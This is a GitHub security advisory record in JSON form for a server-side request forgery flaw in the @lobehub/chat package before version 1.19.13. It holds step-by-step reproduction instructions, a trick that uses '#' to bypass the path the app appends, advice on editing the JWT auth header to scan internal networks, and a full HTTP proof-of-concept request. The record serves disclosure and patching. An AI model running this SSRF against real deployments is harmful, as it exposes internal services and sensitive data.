{"id":"GHSA-2xcc-vm3f-m8rw","summary":"@lobehub/chat Server Side Request Forgery vulnerability","details":"### Summary\nlobe-chat before 1.19.13 has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information.\n\n### Details\n* visit https://chat-preview.lobehub.com/\n* click settings -\u003e llm -\u003e openai\n* fill the OpenAI API Key you like\n* fill the proxy address that you want to attack (e.g. a domain that resolved to a local ip addr like 127.0.0.1.xip.io) (the address will concat the path \"/chat/completions\" which can be bypassed with sharp like \"http://172.23.0.1:8000/#\")\n* then lobe will echo the ssrf result\n\nThe jwt token header X-Lobe-Chat-Auth strored proxy address and OpenAI API Key, you can modify it to scan internal network in your target lobe-web.\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/d55e21e0-59d8-4a8e-8c56-4bcda3302dc2)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/86833362-4e9e-4d07-9542-420db541f7a4)\n\n![image](https://github.com/lobehub/lobe-chat/assets/55245002/d8891a1b-5b6f-434d-8125-8da46055a935)\n\n\n\n### PoC\n```http\nPOST /api/chat/openai HTTP/2\nHost: chat-preview.lobehub.com\nCookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346244.0.0.0\nContent-Length: 158\nSec-Ch-Ua: \"Google Chrome\";v=\"123\", \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"123\"\nX-Lobe-Chat-Auth: eyJhbGciOiJIUzI1NiJ9.eyJhY2Nlc3NDb2RlIjoiIiwiYXBpS2V5IjoiMSIsImVuZHBvaW50IjoiaHR0cDovLzEyNy4wLjAuMS54aXAuaW86MzIxMCIsImlhdCI6MTcxMTM0NjI1MCwiZXhwIjoxNzExMzQ2MzUwfQ.ZZ3v3q9T8E6llOVGOA3ep5OSVoFEawswEfKtufCcwL4\nContent-Type: application/json\nX-Lobe-Trace: eyJlbmFibGVkIjpmYWxzZX0=\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36\nSec-Ch-Ua-Platform: \"Windows\"\nAccept: */*\nOrigin: https://chat-preview.lobehub.com\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://chat-preview.lobehub.com/settings/llm\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7\nConnection: close\n\n{\"model\":\"gpt-3.5-turbo\",\"stream\":true,\"frequency_penalty\":0,\"presence_penalty\":0,\"temperature\":0.6,\"top_p\":1,\"messages\":[{\"content\":\"hello\",\"role\":\"user\"}]}\n```\n\n### Impact\nSSRF, All users will be impacted.","aliases":["CVE-2024-32965"],"modified":"2024-11-26T21:43:24Z","published":"2024-11-26T15:39:38Z","database_specific":{"cwe_ids":["CWE-918"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2024-11-26T15:39:38Z","nvd_published_at":"2024-11-26T19:15:23Z"},"references":[{"type":"WEB","url":"https://github.com/lobehub/lobe-chat/security/advisories/GHSA-2xcc-vm3f-m8rw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-32965"},{"type":"WEB","url":"https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf"},{"type":"PACKAGE","url":"https://github.com/lobehub/lobe-chat"}],"affected":[{"package":{"name":"@lobehub/chat","ecosystem":"npm","purl":"pkg:npm/%40lobehub/chat"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.19.13"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-2xcc-vm3f-m8rw/GHSA-2xcc-vm3f-m8rw.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L"}]}